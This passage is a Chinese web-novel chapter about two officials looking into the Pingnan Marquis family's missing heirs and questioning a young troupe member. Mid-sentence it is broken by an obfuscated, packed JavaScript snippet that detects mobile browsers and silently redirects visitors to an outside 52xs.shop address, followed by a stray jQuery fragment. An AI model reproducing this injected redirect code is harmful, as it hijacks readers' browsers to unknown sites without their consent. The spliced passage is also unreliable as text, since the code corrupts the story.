“你让我留下来就为了这个啊……”容朗看着她手里捏着的一沓纸,嘴角抽了两下。
又是公事!
李希言将写满了字的纸张展开,放在桌上。
“你和平南侯家好歹是亲戚,这些消息是真是假你应该是清楚的。”
递来的消息正是平南侯一家的资料。
上一任平南侯二十多年前就去世了,膝下只有平南侯一子和远嫁的一女,皆是平南侯老夫人所出。
而这一任的平南侯许霖孩子也很少,只有三儿两女。
除去今日所见的几个,还有一个大女儿已经于三年前嫁给了在安南都护府任司马的杜朝觉。
这五个孩子都是已故的平南侯夫人所出。
容朗抄起手:“他家一直被京里的人议论。”
“议论他们什么?”李希言认为单从平南侯一家人的情况来说,他家应该不是太过荒唐的家族。
“他家孩子少啊。平南侯的妾室不少,可是就生了五个。这就不说了,他家大儿子至今无子,二儿子院里一堆女人也没孩子,老三也有妾室,却还是没有孩子。”
又不是不纳妾的家族,怎么会人丁如此单薄?
容朗接着说道:“老平南侯只有两个孩子肯定是老夫人的手段,但是如今的平南侯可是她的亲儿子,下面几个还是她的亲孙子,她怎么也不会动手做什么,反而会护着家里人。而且,连他家嫁出去三年的那个大小姐也没孩子。”
“京城的人怎么说?”
“说他家肯定是遭报应了呗。”
“确实有些奇怪……”李希言之前也总觉得平南侯府有些异常。
如今让容朗一说,她就反应了过来。
确实,平南侯府的人太少了,孩子更少,一点儿也不像个大族的模样。
“最奇怪的是他家从来没传出过什么后院不安宁的传闻,几个儿子也就都说老二是个色中饿鬼,老大和老三风评反而还不错。”
正在看情报的李希言突然动作顿住,盯着手里的纸张。
“平南侯夫人和她家三子的未婚妻是同一年死的?”
“不仅是同一年。”容朗神神秘秘地说道,“还是同一日呢。”
情报上没有关于此事的详细记录,李希言只能问他。
“同一日?到底是怎么死的?”
“就是许家去女方家中下定那一日。听人说,当时排场可大,整座交州城都欢腾了三日。然而,刚刚下定,还没走出女方家门,侯夫人就一下倒在地上,没了气息。外边还未忙过来,那里头的未来新娘子也断了气。”
“有说是怎么死的吗?”
“暴毙。当时平南侯查了许久都没查到任何线索。根据当时在交州当过官的一个人说,那二人的死状很像是心疾发作的模样。”
李希言很是理智:“应该是被下毒了。”
容朗赞同点点头:“我也这样觉着,反正他家仇人肯定不少。”他靠在榻上,“你接下来有什么打算?”
“没什么打算。”李希言微微合上眼,“这几日在府里瞎逛逛就好了,转移他们注意就好了。”
“若是我陪着李少使一起,想必他们更加不安!”容朗算盘打得很响。
这样可以跟着姐姐不说,还可以让平南侯府熄了那样的想法!
只是……
他有些不安地看着她。
“好啊。”李希言答应得很爽快,“明日先去那个戏班子住的院子里看看,你顺便拿点保胎药给紫葳。”
容朗僵硬微笑。
这又是把他当做由头了!
当然,即使如此,他也不可能放弃和她单独相处的机会。
第二日一早,容朗早早地就在院门口等着她了。
等去戏班子那里刺探完情报,也是能有时间去闲逛的!
李希言今日特意换下了绣衣使的官服,穿了一身青色便衣。
即使是这样不算打扮的打扮,容朗也看得发痴,嘴里还喃喃着。
“怎么还是这样好看……”
守门的苗青听得一清二楚:……
就因为他已经知道内情就如此不避嫌吗?
脸皮真厚!呸!
“李少使这样打扮真好看。”容朗迎上去,嘴巴比蜜还甜。
看着面前之人处处精致,李希言的表情尴尬了一瞬。
“王爷是在讽刺我吗?”
“怎么会!”容朗一脸真诚,“于李少使而言,其他的都是累赘,不点缀什么脂粉首饰,反而最好看。”
苗青一边震惊于容朗的直白一边忍不住感慨。
好像还真是这样!
向来淡定的李希言冷静不了了。
她脚步飞快走在前面,还欲盖弥彰地说着:“得早些去。”
容朗几步跟上,陪着笑:“我这样说话,你不高兴?”
出了院子,身边已经没有其他人在,李希言也不再掩饰。
“有点丢人。”
“被人夸奖也算丢人?”
“我不算貌美。”李希言语气如常,“王爷若爱夸谁貌美不如自夸。”
容朗长长“哦”了一声。
“李少使是在夸我?可是,我怎么觉得,李少使比我更好看些。”
李希言一脸正色:“气质,下官看着不猥琐。”
容朗知道她是在开玩笑,乐呵呵地说道:“我也没对李少使做什么,怎么李少使会觉得我猥琐呢?真奇怪。嗯?”
李希言绷不住脸,笑了出来。
“见过王爷,见过李少使。”
小钉子迎面走过来。
这一次,他的步伐稳重了不少。
容朗打趣道:“看来是吃到了昨日的教训了。”
小钉子挠挠头,问道:“这么早,二位大人是要去哪里啊?”
“去找紫葳。”容朗面不改色,“昨晚回去,我刚好翻出了几瓶药来,正适合给她。”
“紫葳姐姐……不严重吧?”小钉子一脸担忧。
若是不严重,怎么会让这样的贵人亲自来送药。
“不严重啊。”容朗语气轻松,“我本来是不愿意来的,是李少使拉我来的,就当是顺便走走。”
小钉偷偷觑了一眼李希言。
他记得,当时就是这个女官让他们上了官船,还让人给他们张罗饭食。
师兄说,她是个好官,那……对紫葳姐姐好也不奇怪了。
“小的给二位大人带路。”
“劳烦你。”
走在路上,李希言有意无意打听起了侯府的事情。
“小钉子,你知道王爷的身份了?”
“嗯……”小钉子老老实实回答道,“侯府都传遍了,王爷现在住在府里呢,还说……”
他停住话头,回头看了一眼,把接下来的话吞了下去。
传言或许是假的。
至于这半截话后面是什么……
容朗清楚得很,只有冷笑。
平南侯可真是会造势。
李希言继续问道:“我看你很熟悉侯府?”
“在我的记忆里,师父几乎每年都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321204|144568||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会在侯府演几出,侯府寿宴婚宴都让我们戏班包圆了,每次一呆就是一两个月。”小钉子傻乎乎地笑着,“好像连每次过年都是在侯府呢。”
“侯府人少,有戏班演出也热闹些。”李希言假装一副恍然的模样,“说来,我好像还真没在侯府见过小孩儿。”
小钉子表情一下紧张了起来:“这是侯府的忌讳。”他压低声音,又看了周边好几眼才说道,“侯府都不准提这事儿。说是……说是……”
李希言俯身:“你悄悄说,不会有人知道的。”
小钉子这才大起胆子说道:“说是生不出孩子是……是几个郎君的问题。”
“三个都有问题?”容朗觉得不可能这样巧吧?
“嗯……有人看见过,老夫人给三个郎君请专治男子那种病的大夫。其实有些奇怪,我记得还是有好几个妾室怀过孕的,但是不知道怎么回事,都小产了。”
他一脸心有余悸,眼睛也红了红。
“我都亲眼看见过……有个妾室,正听着戏呢,一下就晕了过去,身下一摊血。”
所以,撞到了紫葳这件事让他到现在都惶惶不安。
“丁夫人有怀过孕吗?”
小钉子很确定:“没有。”
说完侯府的传闻,他再也不敢多说。
容朗小声和李希言说道:“若真是他们三兄弟有问题,那些妾室小产也不奇怪。”
这是不通医理也能明白的道理。
李希言点点头。
“像我爹似的,太弱,就是勉强生下来也会早夭。就算不算上宫里的手段,我这一辈夭折的也太多了,现在剩下的就我哥和汉王还有我算身体健康的。”
容朗语出惊人。
李希言不由捂住了耳朵。
为什么老是在她面前讲这些大逆不道的话!
“又不是外人,你怕什么?”
李希言放下手:“老二正常,老大和老三不应该。”
许尚安和许佑并没有先天不足的样子,看上去身体不错,又不像许宇那样纵欲。
“还是有人做手脚?”
“让人小产的东西不少。”
正说着话,二人就走到了院子门口。
或许是因为时间太早,院子里静悄悄的。
小钉子蹑手蹑脚推开门。
“昨晚大家忙了一宿,天蒙蒙亮才睡下,这时候都还没起呢。”
容朗也小声说话:“是排演这次寿宴的戏吗?”
“是呢。”小钉子到底年纪小,忍不住炫耀,“这次的戏很有意思哦,既有戏法也有歌舞戏。你们到时候看了绝对会觉得新奇。”
“确实有意思,没听说过一起演的。”
“是啊,这次师父不知道怎么回事,忽然提出来的。昨儿我们排了一次,还真不错,所以就这样定下来了。”
容朗逗着他:“那你演什么呢?”
小钉子肩膀都垮了下来。
“我……还不一定能上台呢,戏班里也就锯子师兄能上台……”
李希言忽然说道:“我记得你戏法变得不错。”
“我还小嘛。”小钉子被夸奖还是觉得挺开心的,“现在我只能帮着打打杂,以后等我年纪大了就能上台啦。到时候……”
他这才想起,二人不过是暂时来交州,很快就会离开。
容朗揉了揉他的脑袋:“到时候,你在京城演给我们看?”
帝都汇聚的才是最顶尖的戏班。
这是鼓励。
小钉子用力点点头:“好!”